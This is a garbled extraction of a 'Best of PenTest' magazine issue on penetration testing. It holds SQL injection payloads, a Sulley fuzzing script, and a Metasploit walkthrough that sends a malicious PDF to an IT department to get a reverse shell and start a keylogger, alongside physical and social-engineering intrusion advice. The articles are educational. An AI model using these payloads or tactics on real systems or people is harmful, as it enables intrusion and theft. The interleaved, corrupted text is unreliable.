Pentest Mag
Pentest Mag
Pentest Mag
THE BEST OF
Dear Readers!
Dear PenTest community members! It will soon be a year since the PenTest
first issue was released. So here comes the time to summarize the first year
of our work, but also to celebrate our first birthday. And, as most of us know,
there is no birthday without a gift! And this gift from PenTest to you is The
Best of PenTest – 200 pages of content, the best 32 articles chosen from 28
PenTest Magazine issues.
As I’ve mentioned before, apart from celebrating, this special moment is
also a time to look back behind us and see what we’ve managed to achieve
for this time!
TEAM Four issues in a month. Perhaps not everyone reading this is aware
Managing Editor: Maciej Kozuszek
that at the beginning we’ve published only one issue in a month – PenTest
maciej.kozuszek@software.com.pl Regular. After 5 issues were released, we’ve started releasing PenTest
Extra on October 15th, which was recently transformed into PenTest
Associate Editor: Aby Rao Market. Soon after that, we’ve launched PenTest Starterkit, which first issue
abyrao@gmail.com
was released on November 7th. After releasing 3 issues, we’ve decided
Betatesters / Proofreaders: Aby Rao, Rishi Narang, to change the profile of the issue, and therefore it’s name, into Auditing
Jeff Weaver, Scott Christie, Dennis Distler, Massimo Buso,
Ed Werzyn, Jonathan Ringler, Johan Snyman, Michael Munty, & Standards PenTest. The youngest, and seems that the most popular
Alberto Alvarez, Juan Bidini, Eric Stalter magazine, is Web App Pentesting. Firstly released on November 22nd ,
now it has the most downloads and views amongst all other issues.
Senior Consultant/Publisher: Paweł Marciniak
Heaps of books and trainings given to our community members, to help
CEO: Ewa Dudzic raise pentesting & ethical hacking skills. We’ve partnered with dozens of
ewa.dudzic@software.com.pl
companies to help spread the word about our publication, and also spent
countless hours to get all the books and trainings in return, in order make
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@software.com.pl our offer even more attractive and give you what you really need – true
DTP: Ireneusz Pogroszewski value knowledge for a reasonable price.
Production Director: Andrzej Kuca Sponsored numbers of different conferences all around the world to help
andrzej.kuca@software.com.pl the community – beginning from the biggest one, like Hacker Halted or
Black Hat, ending with even the smallest like AthCon.
Publisher: Software Press Sp. z o.o. SK Delivered a lot of reviews and other free content, all to help educate
02-682 Warszawa, ul. Bokserska 1
Phone: 1 917 338 3631 you!
www.pentestmag.com
What we shouldn’t forget about, is also our editorial staff – all people
who have helped us in a various ways to make existence of our magazine
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
possible. Here, we believe that we owe a special thanks to the following
concerning the results of content usage. people: Aby Rao, Rishi Narang, Jeff Weaver, Scott Christie, Dennis Distler,
All trade marks presented in the magazine were used only for
informative purposes.
Massimo Buso, Ed Werzyn, Jonathan Ringler – thank you, we wouldn’t be
where we are without your help & support!
As always, we hope, you will find this issue of PenTest compelling and
All rights to trade marks presented in the magazine are valuable.
reserved by the companies which own them.
To create graphs and diagrams we used program
by
Enjoy reading!
Maciej Kozuszek
& PenTest Team
Mathematical formulas created by Design Science MathType™
DISCLAIMER!
The techniques described in our articles may only
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss.
Guaranteed Access
102 By Jon Derrenbacker
This article is related to both social engineering and cyber-
crime. Why social engineering? Since QR usage is based
Everyone has different ideas of what physical security is, on interactive actions of mobile users, which might lead
what it encompasses, and how to exploit it. It can include to threats on their devices, as will be explained in detail
a wide range of exploits, many being surprisingly simple. later.
Penetration testing has been a skill (some say an art) for as long
as we can remember information security and the computer
industry. Nevertheless, over the past decade or so, the term
has been completely ambiguated. It has been cannibalized,
commercialized, and transformed into a market where charlatans
and professionals are on the same playing field.
T
he commercial industry has embraced the lack of value presented by the Scanner type of testing
Sexyness of penetration tests, built products and some brainstorming of how that could be resolved
around it uprooted its values with product marketing worldwide. This issue was not localized or specific to any
and sales speak, and conned organizations into buying vertical but it was something that InfoSec professionals
deeper and deeper to the dreaded pentest unit (as in I from all around the globe were experiencing. From these
need 2 units of pentest to complete this compliance effort). sessions happening at EVERY security conference
Backed by a thriving regulatory compliance rush to check- thrown an idea was born. The idea – to finally standardize
off as many items as they can on audit lists, pentesting and define what a penetration test really is. This would
was given the final blow to its heritage of value. A once help the testers increase the quality and repeatability of
surgical skill that required innovation, critical thinking, the testing while also giving the organizations doing the
technical savvy, business understanding, and good old testing, a reference list of what is to be done during the
hacker-sense was reduced to a check box on the back of test. This is where the Penetration Testing Execution
a consulting companies marketing material. Standard (PTES) started. After a couple of months of
This type of market commoditization has led to the working behind the scenes, a group of about a dozen
frustration of many businesses and consultants alike. security practitioners from different parts of the industry
With this in mind, a group of security veterans (each one put forth a basic mind map of how they did penetration
Commercializing security tools and Compliance tests. Later on, that blended map was released to a larger
are giving the industry a double-blow group of InfoSec professionals. This group tore apart the
original map and streamlined it to fit a larger and wider
with at least a decade under their belts, and numerous audience. At that point a final rendition of the mindmap
successful penetration tests in various industries) have was constructed between 25+ International InfoSec
gotten together to discuss the state of the industry, and a Professionals. With over 1800 revisions to the Alpha
common gripe was echoed. Many of the venting sessions mindmap, the team then opened up the stage for more
from professionals around the world centered around massive collaboration and started building one of the
the wide array of testing quality within penetration tests. more exciting concepts in the security industry. Currently
This huge gap was often boiled down to the Scanner/ the Penetration Testing Execution Standard is backed by
Tool Tests and the Real Testing arguments. Another dozens of volunteers from all around the world, working in
common theme for these sessions was the decided teams on writing the finer details of what will be the golden
Penetration Testing
What Should You Look For?
S
o right off the top, a disclaimer: I earned a living These are the guys who point Qualys, Nessus, or worse,
for many years as a penetration tester and now turned all the way up, at your network, press submit and
run the penetration testing team at Hurricane watch the fireworks. Typically they do no tuning of the
Labs. Now that I have that out of the way, here we go. scan and just let it go. This is dangerous on so many
Why would you ever need a penetration test? The levels, and this sort of thing can quickly bring down your
answer, per usual, depends on your perspective and whole network. You’ll recognize them because their
needs. Most companies that have sensitive data in salespeople will say all the right things but their slicked
their enterprises should look at getting some form of back hair will give it away. Ask them about their manual
penetration testing. Why do I say, “some form”? Simply testing methods and soon you’ll realize they have none.
put, there are as many definitions of penetration testing By the way, these are the sorts that will give you a clean
as there are fish in the ocean. Seriously, sometimes I bill of health in a day or so and offer no real opinion on
think we make this stuff up as we go along. If you’re your applications or network. Avoid this sort of tester at
looking at hiring out a third party to do your penetration all costs.
test (and you should, reasons later), I think it would be
helpful to go through some of the definitions as I see Definition Number 2 (N2)
them in the industry. This list should then help you form The Old Smash and Grab
some intelligent questions to ask the companies you
are considering. After the definitions we’ll review some I wish I could take credit for this but it was coined by
questions you should include in your RFP to help weed a colleague of mine (Rick Deacon @rickdeaconx).
out some of the pretenders. Basically these are the guys who come in and simply
destroy your network and applications with no regard
Definition Number 1 (N1) for your business or money lost. They are also scanner
Let’s scan them and hope they never actually get heavy and generally are in love with BackTrack and
attacked. Metasploit but only know enough to break things
and usually offer no recommendation on fixing them.
This is my least favorite of the varieties out there, mainly These are also the types that will drop a 120-page
because I thought this breed of service was long dead. report (single-spaced) on your desk and disappear.
Sadly I still see it out there almost every week or so. They are generally only slightly better than number one
References
I’ve always been torn on references. No one is going
to give you a bad reference. Of course you still want
to check them but I wouldn’t weight the references too
heavily. I’ve always wanted to ask a vendor for some
unfavorable references as well as good ones to give
me a balanced view. So far no one will give me any
bad references but I will keep you posted in case it
happens.
Penetration testing services can vary wildly from
provider to provider as with anything. Everyone has
a different definition and a different idea of what a
test should be. There is some work under way to
standardize the way things are reported and the way
tests are performed but not all providers are going to
follow those standards. You need to be careful about
who you hire because the right tester needs to have a
combination of technical, business, and communication
skills. You have to be able to trust that they will take
care with your production systems and not have them
come crashing down during the test. Can this always
be avoided? Of course not, but a good tester knows
how to take the necessary precautions. Asking the right
questions will get you that good tester and your life will
be better for it.
BILL MATHEWS
Bill Mathews is co-founder and
lead geek of Hurricane Labs,
an information security �rm
founded in 2004. He has been
in IT almost 20 years, in security
speci�cally for 13 of them, and
has been interested in security
since C3P0 told R2 to never
trust a strange computer. You
can reach Bill @billford and
@hurricanelabs on Twitter and
read other musings on http:// blog.hurricanelabs.com
I
magine yourself in those kind of action movies Modus operandi. It’s both a class for criminals and
such as 007, Mission Impossible, Die Hard, good guys alike. The same thing occurs with terrorist
Entrapment, Ocean’s eleven, to name a few, movies, they make real well-designed plans to break
where you are playing the role of the thief or a special into the target’s facility using social engineering and
agent either alone or most likely with the companion technologies that often times are more sophisticated
of a few (or a lot) other criminals planning to infiltrate than the ones implemented in the so called enemy or
a highly-protected facility where in 99.9% of times target. There are so many motivations that lead to this
you want to get in there to steal something very kind of crime, most of times is for profit but this is not the
valuable. In a few decades ago it would most likely scope of this article.
be something like gold bars, diamonds, money, a And speaking of the enemy, one inevitable question
masterpiece of art from some renowned artist or comes to my mind: do you know your enemy
any other kind of reliquary. In some cases still is (criminals)? Because it is most likely that he knows
but in today’s context, incredible as it may seem, you, and knows you very well. And in the event he
there are other things as much as valuable or even doesn’t, it can be a matter of time depending on
more valuable than the previous mentioned objects: how secure your organization is in terms of security
information. You can also recall of PC games like awareness and controls. That’s exactly for this very
Splinter Cell where you are a special agent always motive that the enemy is always one step ahead
breaking into physical security using your stealthy of you. It’s like a chess game where you only know
abilities (among other tech savvy ones), lock picking the concepts of the game and the enemy already
doors, using high tech gadgets to go undetected by mastered, so, logically he can defeat you easily,
the facility’s physical security. it’s that simple. And keeping on the simplistic side
It’s very similar the way it happens in a real world of things, keep in mind that everything in security,
scenario. Although there’s too much fantasy and lies in either logical or physical can be simplified into a tiny
these kind of movies and games, there’s also a lot of and simple word, risk. Obviously we only care about
pertinent things on how physical breaches occur and securing something because there’s the possibility of
most importantly, how bad guys act and what gadgets some unwanted event called risk happen. These risks
and technologies they use to circumvent the target’s turn out to being threats such as natural phenomena,
facility security and infiltrate it. You must know their human faults, insider threats, external threats, social
Phases of Penetration Testing: counter speaking devices (bluetooth, audio and video bugs, voice
changers), button camera kit, distant voice recorders, built-
intelligence in cell phone listening devices, unconventional lock picks
(do not forget the “get out of jail free card” or authorization (micro explosive-shaped charges deliver a quick impact to any
test letter). standard lock cylinder that will shatter the pins and unlock
the door) Night Vision Headset, Snake Cam (is essentially
Pre-Attack Phase
a �ber optic cable). Ultrasonic motion sensors, thermal
The two phases are passive and active reconnaissance.
motion Sensors, eavesdropping on VoIP, GPS tracker, noise
Passive reconnaissance – It should include the use of
generators.
blueprints of the target in question. Make satellite imagery:
Pen test life cycle: Perimeter Testing: Acquire Target: breaking
google earth, google maps, etc. War driving, Binoculars,
defenses: getting in: escalating privileges: cause damage:
Dumpster diving. Eavesdropping on employee conversations
leaving the place: mission complete.
using electronic devices or, researching the target through
Remember, the longer you remain on site during a physical
common Internet tools such as Who is, using tools to gather
penetration test, the greater your chances of discovery
information about people and companies such as Maltego.
and failure become. It is therefore absolutely essential you
Use tools like FOCA to gather information about the target’s
conclude your operation as quickly as possible once the
website.
physical element is initiated.
Active reconnaissance – probing the target- intercepting
communications en route using wi-� technologies systems, Post-Attack Phase- Penetration
impersonating people, social engineering, use of hich tech Testing deliverables, validation of penetration and �nal
gadgets, etc. report.
Attack Phase
Use the methodology and the tools you have chosen and start
the action.
Tools: Social engineering, laptops, handhelds, rogue access
points, fake badges, laser, microphones: T.A.K. (Tactical Audio
Kit). Camera Jammers , disposable pick , covert listening and
���������������������������������������������������������������������
������������������������������������������������������������������
���������������������������������������������������������������������
������������������������������������������������������������������
���������������������������
�
������������������������������������������������������������������
������������������������������������������������������������������
��������������������������������������������������������������
�������������������������������������������������������������������
��������������������������������������������������������������������
������������������������������������������������������
����������������������
�������������������������
�������������������
PENTEST REGULAR
T
here is a lot to think about and plan for when • Are we hiring a 3rd party company to perform the
you want to perform a penetration test in a cloud penetration tests for us?
service provider’s (CSP) network. Before we • Do we have our own penetration testing team?
get into the technical details, we need to start with the
basics. CSP in-house pen test team: If your cloud service
Questions to ask yourself: provider has their own penetration testers that is great
news! Not only does it show that they take security
• What does my contract and SLA state about seriously, but it means that you can leverage their
penetration testing? internal testing results for your own audits. If you do not
• Does the CSP already have a team of penetration have the money for your own penetration testing team
testers? And is this enough to meet your security (either in-house or 3rd party), you may be able to request
requirements or compliance objectives? detailed audit reports from the CSP relative to your
������������������������������
�������������� �������� ��������
����������� ������������ ������������ ������������
����������
I
would like to point out that I am by no means an Mobile smart phones and tablets do have a few key
expert in mobile devices or their management differences that I wanted to outline:
infrastructures. This article was as much a learning
experience for me as a writing project. I chose, • They are by and large single user systems with root
deliberately to not make this a terribly technical article or admin restricted by default
and more of a how to approach this article because I • They run specialized operating systems but rely
think sometimes in our industry we get hopelessly lost heavily on web interactions
in the this will be so cool that we forget the this is the • Often they aren’t controlled or managed by IT,
right, practical approach. Hope you enjoy. users bring in their personal phones for business
As penetration testers we often times get mired in use (we’re not focusing on these)
trying to craft attacks and finding 0-days when we should • Tablets (well the iPad anyway) are quickly
be fixating on our jobs, that is to provide an assessment becoming a great way to work from conference
of the security posture of a given system with practical rooms, meetings, etc. They are really a hybrid
scenarios. Though I see the between smart phone and a
value in crafting new attacks, As penetration testers we often times get mired laptop.
I’m not sure it’s the job of a in trying to craft attacks and finding 0-days
traditional penetration tester when we should be fixating on our jobs, that is to Now before we dig too much
but that’s another article. It’s provide an assessment of the security posture of a deeper I want to say that I’m
hard enough to resist that given system with practical scenarios. not going to focus too much
temptation when dealing with on attacking the phones/
web applications and Windows systems that have been tablets themselves, there is quite a bit of research
around forever and are pretty well understood but throw and work being done in those areas already and I
in something new and our geek buzzers start buzzing doubt I could add much to it. I have always taken
overtime. Whenever we’re asked to test some new a more practical approach to penetration testing
thing, in this case a mobile infrastructure, out come the (right or wrong), I start with the simplest, widest
compilers and debuggers. We should start by asking reaching techniques first then move out to the more
ourselves the most boring question possible, is this stuff difficult methods of attack. I’m not discounting direct
really THAT different than what we’re used to? phone attacks I just find them to be more of a pain
Fuzzing In a
Penetration Test
Protocol fuzzing has been a popular technique for bug discovery
with a number of tools, books and papers describing the benefits
and drawbacks. Although typically used for bug discovery in
a lab environment, there are opportunities to use fuzzing in a
penetration testing role too.
N
ot only does fuzzing in a penetration test give facing systems; in this particular case, it was an audit
your customer added value in an assessment requirement to have this level of testing done while
but it also services to expand your skill set and other people on my team got all the fun on the other
develop new opportunities for attacking and exploiting tasks.
systems. As expected, my reconnaissance and network scans
didn’t turn up a lot of interesting flaws, but I did have one
Background interesting target show up in the result of an Nmap scan
Not long ago, I drew the short straw on my team when as shown in Interesting ports on XXX.XX.XXX.2:. My target
divvying up responsibilities for a penetration test. While organization leveraged a CheckPoint server for remote
other people on the team got to target wireless flaws, VPN access, of which two ports were accessible.
web application flaws and the like, I got the external- The CheckPoint service running on TCP/264 piqued
facing network pen test task. my interest and after a little additional reconnaissance
You may have heard the drill before. The scope for my analysis I learned that it was used as an out-of-band
test included: communication channel by the CheckPoint VPN
client over a proprietary, unencrypted protocol called
• Externally accessible target systems SecuRemote.
• No client-side exploits The SecuRemote protocol is used to exchange
• No web app attacks information with the CheckPoint client, disclosing
• No external resource management attacks (such as certificate information and, following authentication
domain registration manipulation) from the client, network topology details. A few older
• No account enumeration/password guessing information disclosure vulnerabilities have been
attacks announced with public exploits, but the version my
customer was using was not vulnerable. However,
Try as we might convince people otherwise, some at this point I had some protocol documentation, a
organizations still request this type of testing and reference source and a fair amount of time remaining
hamper our typical approach to a pen test. Sometimes in my allotted analysis hours, with which I reasoned
this is because they really just want a pat on the that I could spend it doing some interesting protocol
back for doing a good job securing their externally- fuzzing.
0000000: 4100 0000 0259 0521 0000 0004 c41e 4352 A....Y.!......CR
0000010: 0000 004e 2874 6f70 6f6c 6f67 792d 7265 ...N(topology-re
0000020: 7175 6573 7a40 a093 a636 16e6 16d6 5202 quesz@...6....R.
0000030: 82d5 3656 e736 5506 f737 42d6 46f7 4636 ..6V.6U..7B.F.F6
0000040: f6d2 d290 a0a93 a636 861a 6c6c 656e 6765 .......6..llenge
0000050: 2028 6332 6532 3331 3833 3964 3066 290a (c2e231839d0f).
0000060: 290a 00 )..
#!/usr/bin/env python
# Fuzzing the initial 4-byte packet from client to CheckPoint VPN server.
import time
import sys
from sulley import *
s_byte("\x51",full_range=True)
s_static("\x00\x00\x00")
# Add the target to the session (can be repeated for multiple targets)
sess.add_target(target)
#!/usr/bin/env python
from sulley import *
SLEEP_TIME=0.5
TIMEOUT=3
CRASH_THRESHOLD=3
# The function Sulley will run prior to sending each mutation. We leverage
# it to setup the target system with the initial packets and response in the
# protocol exchange prior to our target packet.
def preconn(sock):
sock.send("\x51\x00\x00\x00")
time.sleep(0.5)
sock.send("\x00\x00\x00\x21")
s_initialize("SecuRemote-Simple-String")
# Create a size field, which is based on the content of the named block
# Sulley uses ">" to indicate big-endian values, "<" is little-endian
s_size("client-name-string", length=4, endian=">")
sess.connect(s_get("SecuRemote-Simple-String"))
target = sessions.target("127.0.0.1", 264)
sess.add_target(target)
sess.fuzz()
www.mile2.com
A Network breach...
Could cost your Job!
�������������������
� � ����������������������������������������� Other New Courses!!
�������� � ������������������������������������� ���� ���������������������
��������� � ��������������������������������������� �������� �������������������
���� �����������
� � ����������������������
�������� � ������������������������������� ���������� ���������������������������
��������� ���������������������������
� � �������������������������� ���������� ��������������������������
������� �����������������������������������
��������� ��������������������������������������������������
�����������������
��������������� �������������
INFORMATION ASSURANCE
������� � ������������������������������������������������ SERVICES
����������������������������������������
��� �������������������
������������������������������
��� �������������������������
��������� � ���������������������������������������� ��� �������������������������������������
��� ��������������
� � ����������������� ��������������������������������������������
�������� � �����������������������������������
(ISC)2 & CISSP are service marks of the IISSCC. Inc. Security+ is a trade mark of ��������������
CompTIA. ITIL is a trade mark of OGC.GSLC & GCIH are trademarks of GIAC. ���������������
11928 Sheldon Rd Tampa, FL 33626
PENTEST REGULAR
D
atabases are the backbone of most commercial a myriad of user submit able forms and the delivery of
websites on the internet today. They store dynamic web content. Many of these features users take
the data that is delivered to website visitors for granted and demand in modern websites to provide
(including customers, suppliers, employees, and businesses with the ability to communicate customers.
business partners). Backend databases contain lots These website features are may be susceptible to SQL
of juicy information that an attacker may be interested Injection attacks and are good place to start during a
in. Data such as: User credentials, PII, PII, confidential pentest engagement that includes a web application
company information, and anything other data that a testing component.
legitimate user may need access to through a web
portal. At its most basic form, web applications allow A Simple SQL Injection Example
legitimate website visitors to submit and retrieve Take a simple login page where a legitimate user would
data over the Internet using nothing more than a enter his username and password combination to enter
web browser which allow the internet to be the giant a secure area to view his personal details or upload his
consumer market that it is. comments in a forum.
SQL Injection is the attack technique which When the legitimate user submits their information,
attempts to pass SQL commands through a web a SQL query is generated from this information and
application for execution by the backend database. submitted to the database for verification. The web
If not sanitized properly, web applications may result application in question that controls authentication
in SQL Injection attacks that allow hackers to view will communicate with the backend database through
or modify information from the database. The attack a series of commands to verify the username and
tries to convince the application to run SQL code password combination that was submitted. Once
that will result in access that was not intended by verified, the legitimate user should be granted the
the application developers. The attacker uses SQL appropriate access for their account to the web
queries and creativity to bypass typical controls that application.
have been put in place. Through SQL Injection, the attacker may input
Common web application features introduce the SQL specifically crafted SQL commands with the intent of
injection attack vector. These features include login bypassing the login form authentication mechanism.
pages, search pages, e-commerce checkout systems, This is only possible if the inputs are not properly
sanitized and sent directly with the SQL query to the commands planned for the web application may look
database. SQL Injection vulnerabilities provide the something like the SQL query in Listing 2.
means for a hacker to communicate directly to the The SQL command from Figure 2 instructs the
database. As you see in Listing 1, typical SQL activity backend database to check the username and password
and SQL Injection activity is very similar. input by the user user to the combination it has stored
Normal SQL activity will work as expected. The web in the database. If they match the user is authenticated
application will ask the database to select everything and granted access to the web application. Of course
from the users table that has a username equal to this is a simplistic description, but you get the idea.
SiteAdmin. However, the SQL Injection activity will Web applications are coded with specific SQL
cause our backend database to misbehave. The SQL queries that it will execute when performing functions
Injection query by using a single quote will terminate the and communicating with the backend database. If not
string part of the database query, * username = ‘ ‘, and properly sanitized the web application can be coerced
then added on to our WHERE statement with an OR into running additional SQL commands that were not
clause of 1, * username = ‘ ‘ OR 1. intended.
This OR clause of 1 will always be true and so every An attacker will be able to extract and modify the
single entry in the customers table would be selected by data stored in the backend database without having to
this statement! penetrate the database server itself, bypassing all of the
The technologies vulnerable to this attack are perimeter defenses that may be in place.
dynamic script languages, including ASP, PHP, JSP,
and CGI. All an attacker needs to perform an SQL Finding SQL Injection and more examples
Injection hacking attack is a web browser, knowledge of Finding SQL Injection vulnerabilities is simple. Look
SQL queries and creative guess work to figure out table for any web page that contains a user input box. For
and field names. narrowly scoped pentest engagements this should be
It possible to pass SQL queries directly to a database easy to do. Also look for pages like ASP, JSP, CGI,
that is protected by a firewall because it is open to the or PHP web pages. Try to look especially for URL
internet and in order for it to function correctly security that takes parameters, like: http://somesite.com/
mechanisms will allow public web traffic to communicate home.asp?id=3.
with your web application over expected web ports. The
web application must have open access to the database
in order to return the requested information.
SQL or Structured Query Language is the computer
language that allows you to store, manipulate, and
retrieve data stored in a relational database (or a
collection of tables which organise and structure data).
SQL is, in fact, the only way that a web application (and
users) can interact with the database. Examples of
relational databases include Oracle, Microsoft Access,
MS SQL Server, and MySQL, all of which use SQL as
their basic foundation.
SQL commands include SELECT, INSERT, DELETE,
DROP TABLE, UNION and many more. In the legitimate
scenario of the login page example above, the SQL Figure 1. Google Hacking
</style>
</head>
<body>
<div class="wrapper">
<div class="google-header-bar">
</div>
</div>
<div class="main content clearfix">
<div class="sign-in">
<div class="signin-box">
<h2>Sign in <strong></strong></h2>
<form id="gaia_loginform" action="https://accounts.google.com/ServiceLoginAuth" method="post">
<input type="hidden"
>
<input type="hidden"
<FORM action=http://somesite.com/Search/search.asp
method=post>
<input type=hidden name=A value=”test’ or 1=1--”>
</FORM>
v_cat = request(„category”)
sqlstr=”SELECT * FROM sensitivedata WHERE PCategory=’”
& v_cat & „’”
set rs=conn.execute(sqlstr)
http://somesite.com/home.asp?category=CCnumbers’ or 1=1--
A good resource for additional statements is the When this is executed against our web page, we see
website http://ha.ckers.org, which maintains a large normal web page content and everything looks normal.
SQL Injection cheat sheet that is extremely helpful. This URL request is always true, as I mentioned earlier
1 always equals 1, so the web page should load
Another Example of a SQL Injection Attack normally and display expected content. To test for
Here is a very simple HTML form with inputs login and Blind SQL injection then when we want to change our
password. URL to this:
SELECT * FROM table WHERE email = 'test' AND 1=(SELECT COUNT(*) FROM table); --';
������� ��������
������������� �������������
������������������������������������� ��������������������������������������
��������������������������������� ����������
���������������� ���������������������������
� � �������������������������� ��������������������������������������
��� �������������������
��������������������������������� ������������������������������������
������������������������������������� ������
������������ ����������������������������
� � ������������������������������� ������������������������� ���
���������������������������
������������������
������������������������������������������������������������������������������������������������������������
�����������������������������������������������������������������������������������������������������������������
�������������������������������������������������������������������������������������������������
THE BEST OF 01/2012 Page
���� ���������� �����
PENTEST REGULAR
Hi!
I hacked your computer
With every passing day, with each new software, hackers around
the world start looking for vulnerabilities and write exploit codes
for them. Patching those vulnerabilities takes a lot of time and
by then the systems have been compromised. As an attacker,
there are many ways to compromise the client side systems, my
preferred method involves social engineering.
I
magine you receive a PDF attachment from a friend or crafted request, an attacker can cause arbitrary code
a colleague, you open it and you get an Figure 2 PDF execution resulting in a loss of integrity.
attachments because the file maybe damaged or not
created properly. Your first thought is that the source may Classi�cation
not be good, you run it through antivirus and it shows the Location: Remote / Network Access
file is clean; this gives you the feeling of safety. Attack Type: Input Manipulation
You now click ok to continue with your tasks to ask Impact: Loss of Integrity
your IT for help for to try something else. Solution: Upgrade
You didn’t realize that you just got owned! Exploit: Exploit Public, Exploit Commercial
In a traditional scenario, an attacker would do Disclosure: OSVDB Verified, Vendor Verified
dumpster diving and get emails and other printouts to
get some information about you. Scenario
I feel there are better ways to get such information For our demonstration we will talk about how the said
and that’s where the art of social engineering comes in. Social Engineering will be done to extract the required
Many a times I have used social engineering techniques information. First we choose a victim, then we do go
to prove that anything can be done if you know how to to their website and search the careers section for the
talk your way through it. In our scenario our attacker has available IT Jobs of the company to find out what jobs
been doing a lot of information gathering using tools such are vacant, their individual descriptions will give us the
as the (MetaSploit Framework), (Maltego) and other tools information about various software technologies in use.
to gather email addresses and information to launch a Getting a brief idea, we can then search major
social engineering client side attack on the victim. vendor’s websites for their testimonials or clients. Every
vendor displays its client list on its website proudly to
Vulnerability show credibility and to have major organizations vouch
Description for their quality and work.
A remote overflow exists in Adobe Reader and Adobe A call to these vendors posing as a large organization,
Acrobat. The document reader fails to properly bounds spoofing your caller id to reflect the same and talking
check input to the util.printf() javascript function to them, we can ask them to tell us about the victim
resulting in a stack-based overflow. With a specially company, saying we have worked with them before,
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME XYZComputers-UpgradeInstructions.pdf yes The file name.
OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file.
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading
and securing your software. Please read and let us know if you have any problems.
Sincerely,
meterpreter >
meterpreter > ps
Process list
============
Bibliography
• Adobe Reader Vulnerability. (n.d.). Retrieved from http://
about-threats.trendmicro.com
• Maltego. (n.d.). Retrieved from http://www.paterva.com/
web5/
• MetaSploit Framework. (n.d.). Retrieved from http://
metasploit.com/
• Exploit Source code: http://dev.metasploit.com/redmine/
projects/framework/repository/entry/modules/exploits/
windows/browser/adobe_utilprintf.rb
• CVE-2008-2992: http://cve.mitre.org/cgi-bin/cvename.cgi?
name=2008-2992
• 49520: Adobe Reader / Acrobat util.printf() Function Cra-
fted PDF File Handling Over�ow: http://osvdb.org/49520
Figure 1. PDF Virus Check Adobe but shows a greyed out window that never
reveals a PDF. The greyed out window looks like this:
Before we send the malicious file to our victim (Figur 2 Adobe Reader Vulnerability). And then, on the
we need to set up a listener to capture this reverse attacker’s machine what is revealed... (Listing 5).
connection. We will use msfconsole to set up our multi We now have a shell on their computer through a
handler listener (Listing 3). malicious PDF client side attack. Of course what would
Now that our listener is waiting to receive its malicious be wise at this point is to move the shell to a different
payload we have to deliver this payload to the victim process, so when they kill Adobe we don’t lose our
and since in our information gathering we obtained the shell. Then obtain system info, start a key logger and
email address of the IT Department we will use a handy continue exploiting the network (Listing 6).
little script called sendEmail to deliver this payload to
the victim. With a kung-fu one-liner, we can attach the Conclusion
malicious pdf, use any smtp server we want and write And that’s it, its game over for the victim. The attacker
a pretty convincing email from any address we want... can now not only get hold of sensitive information but
(Listing 4). also copy any data from the victim’s computer. This
As we can see here, the script allows us to put any vulnerability affects Adobe Acrobat and Reader 8.1.2
FROM (-f) address, any TO (-t) address, any SMTP and earlier allows remote attackers to execute arbitrary
(-s) server as well as Titles (-u) and our malicious code via a PDF file that calls the util.printf JavaScript
attachment (-a). Once we do all that and press enter we function with a crafted format string argument.
can type any message we want, then press CTRL+D
and this will send the email out to the victim. Solution
Now on the victim’s machine, our IT Department Upgrade to version 8.1.3 or higher, as it has been
employee is getting in for the day and logging into his reported to fix this vulnerability. An upgrade is required
computer to check his email. as there are no known workarounds. Or in a really bad
He sees the very important document and copies it to case, reinstall your OS.
his desktop as he always does, so he can scan this with
his favorite anti-virus program. MILIND BHARGAVA
As we can see, it passed with flying colors so our IT Milind Bhargava, (CEH), (ECSA) is in love
admin is willing to open this file to quickly implement with the �eld of Information Security, in
these very important upgrades. Clicking the file opens pursuit of his love he has completed his
CEH & ECSA certi�cations in 2010 from
EC-Council and completed IT Security
& Ethical Hacking course from Appin Noida, India. He has
worked as Head of IT for an Oil & Gas MNC in Doha, Qatar,
where his responsibilities included but were not limited to
Network Security. He believes that ethical hacking is an
addiction, which you can never master. It’s a skill which you
can control, but never stop learning more about. And so he
Figure 2. Adobe Reader not able to open continues on his quest as an eternal student.
Mastering
the Behavioral Techniques for Quick Rapport and
Elicitation
There are skilled conversationalists that can induce an individual to
unwittingly divulge their deepest secrets, their closest held personal
information, and even their banking information and passwords
without being asked any direct or related questions. In today’s high
paced competitive environment individuals and companies that are
unscrupulous and obsessed with winning will go to any extreme to
achieve a competitive edge in the marketplace, including penetrating
a competitor’s computer operating system.
T
he most successful will accomplish the must practice at every opportunity. Most individuals fear
unimaginable by employing age old spy-craft rejection when attempting these skills, but you must
skills as well as technology. These master have the courage to Enter the Arena (Figure 1).
elicitors of information utilize directed, purposeful, and Today’s professionals entering the workforce bring with
well planned out conversations in order to elicit and gain them a critical and highly sought after skill set in regards
whatever information they deem of value. to technology that tends to exceed the generations prior
The first president of the United States, George to them. Likewise, the prior generations in the work
Washington, was our countries first spy master. At the force tend to have a skill set in regards to developing
onset of the war for independence, the British were quick rapport and conversations with individuals one-
occupying the city of Boston. Washington was desperate on-one. As in many situations, when you combine skill
for information in order to give him and the Americans a sets, the end result is a much better capability than
tactical edge. Washington employed a master observer each alone. Breaking down the art form of interpersonal
and elicitor, a spy, in order to gather the necessary
information on the opposing force. Instead of hacking
a computer operating system, Washington hacked a
human operating system and successfully penetrated
the British information network in Boston for $333.00.
The human hacking skills used throughout history
are now being combined with the computer network
penetration skills of today to form the most advanced
information gathering system ever known, the Social
Engineer. This article will highlight and demonstrate the
advanced social psychological skills (soft skills) used
by master Social Engineers. Developing these skills is
not difficult, it requires a desire to build upon that which
we all do every day, interact with people. The difference
is that these interactions will be with a purpose and a
plan. In order to build these skills to a mastery level, you Figure 1. The Man in the Arena
The Situation
One afternoon one of the company’s executives
informed Clark that they had a new client requesting a
social engineering penetration test (SE Pentest). The
client wants the company to test their people network
for human information leakage and vulnerabilities so
they are able to better tailor their training to address
the vulnerabilities discovered. Clark thought this was a
great opportunity to get his new apprentice engaged in
SE soft skill techniques.
Clark approached Becker at his desk. Becker was
sitting in his chair facing his computer screen surfing Figure 2. Clark’s simple planning guide
Bibliography
• Alessandra, Tony & O’Conner, Michael J. (1994). People Smarts: Bending the Golden Rule to Give Others What They Want. San
Diego: Pfeiffer & Company
• Alessandra, Tony & O’Conner, Michael J. (1996). The Platinum Rule: Discover the Four Basic Business Personalities and How
